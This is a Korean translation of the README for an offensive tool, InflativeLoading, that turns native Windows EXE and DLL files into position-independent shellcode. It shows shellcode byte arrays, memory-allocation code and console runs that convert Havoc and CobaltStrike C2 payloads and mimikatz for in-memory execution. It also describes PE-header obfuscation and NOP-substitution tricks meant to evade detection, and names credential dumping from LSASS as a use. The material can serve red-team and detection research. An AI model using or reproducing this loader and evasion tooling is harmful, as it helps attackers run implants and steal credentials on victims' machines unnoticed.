
비관리 EXE 또는 DLL 파일을 셸코드 스텁을 앞에 추가하여 PIC 셸코드로 동적으로 변환합니다.
기사: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
이 섹션에서는 주요 업데이트를 제공합니다. 주요 업데이트에는 추가된 지원 또는 기능이 포함됩니다.
PE 헤더에서 e_lfanew, Import Directory의 RVA 같은 일부 바이트만 로딩 프로세스를 완료하는 데 필수적입니다. 따라서 다른 바이트는 무작위 바이트로 덮어씌워 PE 헤더 서명을 숨길 수 있습니다.
모든 프로세스가 완료된 후에는 이러한 바이트들도 완전한 난독화를 위해 덮어씌워집니다. 예를 들어, 아래 스크린샷에서 PE 헤더가 대부분 난독화되었지만 e_lfanew는 로딩 목적으로 난독화되지 않은 상태로 남아 있는 것을 볼 수 있습니다. 그러나 로딩 프로세스 후에는 e_lfanew도 난독화됩니다.

그러나 선택한 프로그램에 따라 난독화가 호환되지 않을 수 있습니다. 프로그램이 어떻게 작동하는지 알아야 합니다. 예를 들어, Havoc 상태 비저장 DLL 페이로드는 PE 헤더도 사용하기 때문에 난독화 기능과 호환되지 않습니다.

Havoc 스테이지리스 EXE 페이로드는 난독화와 잘 작동합니다:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 패딩된 NOP를 NOP 계열 명령어 시퀀스로 대체
업데이트 전에는 실제 셸코드 스텁 뒤에 메모리 페이지 정렬을 위해 `0x90/NOP` 명령어가 패딩되었습니다. 많은 NOP는 탐지의 대상이 될 수 있으므로, InflativeLoading 스크립트는 사전 설정된 NOP 계열 명령어 시퀀스를 동적으로 선택합니다. 사용자는 더 나은 난독화를 위해 새 시퀀스를 추가하거나 기존 시퀀스를 교체할 수도 있습니다.```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
드문 예외를 처리하기 위해 추가적인 셸코드 로직을 추가했습니다. 예를 들어, CobaltStrike 상태 비저장 DLL 페이로드에서 페이지 RVA가 이미지 크기보다 크기 때문에 일부 기본 재배치 항목이 유효하지 않습니다.
이미지 크기는 0x58000입니다.

하지만 일부 RVA는 0x58000보다 큽니다.

또한, 변환된 셸코드를 실행한 후 셸코드는 프로그램을 정상적으로 종료합니다.
이제 덤퍼가 더 많은 정보를 표시하고 메모리 할당에 대한 제안을 제공할 수 있습니다.```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
셸코드 스텁은 `0x1000` 바이트로 고정되어 있으며, PE 헤더는 `0x1000` 바이트로 고정되어 있고, 텍스트 섹션 및 기타 섹션의 크기는 다양합니다.
### 2024년 4월 11일: 비관리 DLL 지원 추가
업데이트 후 비관리 DLL도 PIC 셸코드로 변환할 수 있습니다. 사용자 정의 DLL, Havoc 스테이지리스 DLL 페이로드, CobaltStrike 스테이지리스 DLL 페이로드에 대한 테스트 케이스가 통과되었습니다.```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...

IAT를 수정하는 코드에서 불필요한 코드 라인들을 발견하여 약간 수정했습니다. 이후 InflativeLoading은 일부 UPX 패킹된 EXE 프로그램 (calc.exe, PsExec 포함)을 실행할 수 있게 되었습니다. 하지만 패킹된 프로그램 중 일부만 가능합니다. 첫째, 테스트된 모든 프로그램에 대해 가능한 모든 패킹 구성을 테스트하지는 않을 것입니다. 두 번째 이유는 계속 읽어주십시오:
delayed import directory가 없는 프로그램의 경우, InflativeLoading은 해당 프로그램의 UPX 패킹 버전을 실행할 수 있습니다. 그러나 언패킹된 프로그램과 달리, 패킹된 프로그램은 모든 ILT가 비어 있습니다.
일반 calc.exe를 예로 들면, 모든 모듈에 대해 ILT와 IAT가 동일합니다.

하지만 UPX 패킹된 calc.exe의 경우, Import Directory의 모든 항목에서 ILT가 비어 있습니다.

그러나 Mimikatz처럼 delayed import directory가 있는 프로그램은 더 복잡해집니다.
일반 mimikatz.exe의 delayed import directory는 다음과 같습니다:

하지만 UPX 패킹된 mimikatz.exe의 경우, PE Bear가 파싱할 수 없으며, 저 역시 마찬가지입니다.

아래는 UPX 패킹된 calc.exe에 대한 통과 테스트 사례입니다.

제 목표 중 하나는 exe를 셸코드로 변환하는 것입니다. 이렇게 하면 Mimikatz와 같은 일부 보안 도구를 더 유연하게 사용할 수 있습니다. Donut과 같은 일부 도구가 이미 이를 달성했지만, 저만의 접근 방식으로 그러한 도구를 만들고 싶으며, 그것이 개선을 가져올 수 있기를 바랍니다.
고전적이고 현대적인 일부 도구와 기술에서 동기를 얻고 영감을 받아, InflativeLoading은 언매니지드 EXE/DLL을 PIC 셸코드로 동적으로 변환할 수 있는 도구입니다.
간단히 말해, InflativeLoading은 덤프된 PE 주 모듈 앞에 셸코드 스텁을 생성하여 추가합니다.
이 도구는 DumpPEFromMemory.exe와 InflativeLoading.py로 구성됩니다.
언매니지드 PE 파일을 셸코드로 변환하려면 다음 두 구성 요소가 필요합니다.
DumpPEFromMemory.exe는 선택한 PE 파일의 메모리 내 버전을 얻는 데 사용됩니다.
EXE 프로그램의 경우, 프로세스를 일시 중단된 상태로 생성하고 주 모듈을 바이너리 파일로 덤프하는 방식으로 작동합니다(개발 머신에서). 왜 그럴까요? 일반적인 리플렉티브 로딩 과정은 PE 파일의 각 섹션을 새로 할당된 메모리 영역에 매핑합니다. 이와 관련하여 두 가지 우려 사항이 있습니다: 첫째, 각 섹션의 데이터가 디스크에 있든 메모리에 있든 기본적으로 일관되지만, 특정 PE 파일이나 특정 상황에서는 여전히 차이가 있을 수 있습니다.```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
`DLL` 파일의 경우 DumPEFromMemory는 DllMain()을 실행하지 않고 파일 매핑을 생성하고 파일의 뷰를 매핑합니다.
둘째, PE 파일의 콘텐츠는 이미 로더의 메모리(예: 바이트 배열)에 존재하지만, 로더는 메모리 공간을 다시 할당합니다. DumpPEFromMemory의 실행은 운영자의 개발 머신에서 완료됩니다. 운영자는 PE 파일이 메모리에 로드될 때 덤프를 가져옵니다. 일부 데이터는 여전히 업데이트가 필요하지만, 피해자의 머신에 메모리 영역을 할당할 필요는 없습니다.
이러한 방식으로, 파일을 수동으로 매핑하는 대신 `Import Directory`, `Base Relocation Table Directory`, `Delayed Load Import Descriptors Directory` 등과 같은 특정 데이터 영역만 패치하면 됩니다.
덤프된 주 모듈은 셸코드 스텁에 추가하기 위해 바이너리 파일로 저장됩니다.
예를 들어, DumpPEFromMemory는 클래식 도구인 mimikatz를 실행하고, 그 주 모듈을 바이너리 파일로 덤프합니다.```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

그리고 메모리에서 Havoc DLL 페이로드를 덤프합니다:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin

### InflativeLoading 스크립트
이 스크립트는 셸코드 스텁을 동적으로 생성하여 덤프 파일 앞에 추가합니다.
셸코드는 다음 작업을 수행합니다:
1. PEB를 탐색하고 kernel32.dll을 찾습니다.
2. 명령줄을 업데이트합니다.
3. kernel32.dll을 파싱하여 LoadLibraryA, GetProcAddress 함수의 주소를 가져옵니다.
4. 오프셋을 사용하여 추가된 덤프 파일을 찾습니다.
5. Import Directory, Base Relocation Table Directory, Delayed Load Import Descriptors Directory 등을 동적으로 수정합니다.
6. PE 헤더를 난독화할지 선택합니다.
7. 실행을 PE 파일의 진입점으로 전달합니다.
8. 정상적으로 종료합니다.
예를 들어, 이전에 덤프한 mimikatz를 읽고 적절한 명령줄을 제공하여 LSASS에서 자격 증명을 덤프하는 데 스크립트를 사용합니다:

셸코드 스텁은 일반적으로 1000바이트 미만이지만, 스크립트는 메모리 페이지 경계에 맞추기 위해 4096바이트로 패딩합니다. 그런 다음 운영자는 다양한 메모리 영역에 대해 적절한 페이지 권한을 쉽게 설정할 수 있습니다. 덤퍼는 메모리 할당 제안을 제공합니다:```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
InflativeLoading의 두 구성 요소를 이미 살펴보셨을 것이라고 생각합니다. 요약하면 다음과 같습니다:
Best Use Cases 및 Know Issues or Limitations 섹션을 참조하세요.InflativeLoading은 초기 단계이므로 모든 exe가 잘 지원되지는 않습니다. 비관리 DLL은 잘 지원됩니다. 내보내기 함수 실행은 다음 업데이트에서 지원될 예정입니다!
✅ 인수에 의존하지 않는 네이티브 콘솔 프로그램(예: 스테이지리스 C2 임플란트, 간단한 맞춤형 콘솔 프로그램)
✅ 대화형 콘솔/셸이 있는 네이티브 콘솔 프로그램(예: Mimikatz)
✅ 비관리 DLL
✔️ 특정 내보내기 함수가 필요하지 않아 소스 코드 및 컴파일에 편리하게 접근할 수 없는 PE 파일에 더 친숙함
✔️ 특정 경우 디스크 상의 PE 파일과 메모리 상의 차이로 인한 의도치 않은 결과를 방지함
✔️ 원본 파일 오프셋과 RVA 간의 변환 필요성을 없앰
✔️ 추가 메모리 공간 할당을 방지함
✔️ RWX 메모리 영역을 방지함.
✔️ RX 메모리 영역의 경우에도 MZ 특성으로 시작하지 않아 조사 난이도를 높임.
☑️ 일반 네이티브 EXE 지원
☑️ 비관리 DLL 지원
☑️ 지연 가져오기 디렉터리가 있는 EXE/DLL 지원
☑️ IAT 수정
☑️ 기준 재배치 디렉터리 수정
☑️ calc, mimikatz, PsExec 등과 같은 고전 프로그램에서 테스트 통과
☑️ CobaltStrike 및 Havoc의 스테이지리스 DLL/EXE 페이로드와 같은 고전 C2 페이로드에서 테스트 통과
☑️ 패킹된 프로그램에 대한 부분 지원
⚠️ 다음 문제 중 일부는 향후 수정될 수 있지만, 일부는 본질적으로 범위를 벗어납니다.
제공된 명령줄이 항상 올바르게 작동하지 않습니다. 이것은 제가 집중할 주요 영역입니다.
GUI 프로그램(예: mspaint.exe)에서는 잘 작동하지 않습니다. 그러나 calc.exe는 잘 작동합니다.
모든 패킹된 프로그램에서 작동하지는 않습니다. 일부 패킹된 프로그램은 잘 실행될 수 있으며, 경우에 따라 다릅니다.
사용자 지정 DLL과 같은 다른 종속성이 필요한 프로그램에서는 작동하지 않습니다.
x64만 지원하며, x86 프로그램 지원을 추가할 계획은 없습니다.
위의 문제 또는 제한 사항 중 하나라도 발생하면 셸코드 실행이 충돌하거나 변환된 프로그램이 명령줄을 제대로 식별하지 못하거나 응답이 없을 수 있습니다.
예를 들어, PsExec.exe는 PIC 셸코드로 변환될 수 있지만 사용자가 제공한 명령줄을 제대로 식별할 수 없습니다.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## 테스트 사례
| 프로그램 | 형식 | GUI 있음? | 인수 제공됨? | 성공적 실행 | 인수와 함께 올바르게 실행 |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| 간단한 맞춤 C/C++ 프로그램 | EXE |아니요 | 아니요 |:heavy_check_mark: | 해당 없음 |
| 간단한 맞춤 DLL | DLL |아니요 | 아니요 |:heavy_check_mark: | 해당 없음 |
| Havoc 및 CobaltStrike EXE 페이로드 | EXE |아니요 | 아니요 |:heavy_check_mark: | 해당 없음 |
| Havoc 및 CobaltStrike DLL 페이로드 | DLL |아니요 | 아니요 |:heavy_check_mark: | 해당 없음 |
| calc.exe | EXE | 예 | 아니요 |:heavy_check_mark: |해당 없음 |
| mimikatz.exe | EXE | 아니요 | 예 |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | 아니요 |예 |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | 예 |아니요 | :no_entry_sign: |해당 없음|
| 패킹된 프로그램 | EXE | 아니요 |아니요 | 부분적 |해당 없음|
calc.exe 및 mimikatz.exe의 덤프된 버전은 저장소의 `bin/` 폴더에서 찾을 수 있습니다.
## 향후 개선 사항
:bell: 다음 기능 및 개선 사항이 향후 예정되어 있습니다.
+ .NET 프로그램을 위한 별도의 로더.
+ DLL 내보내기 함수 지원 추가.
+ 더 많은 패킹된 프로그램 지원 추가.
+ 형편없는 코드 개선 : )
## 감사의 말 및 참고 자료
다음 자료들은 연구 및 개발 과정에서 많은 영감을 주었습니다:
<https://github.com/TheWover/donut>
<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>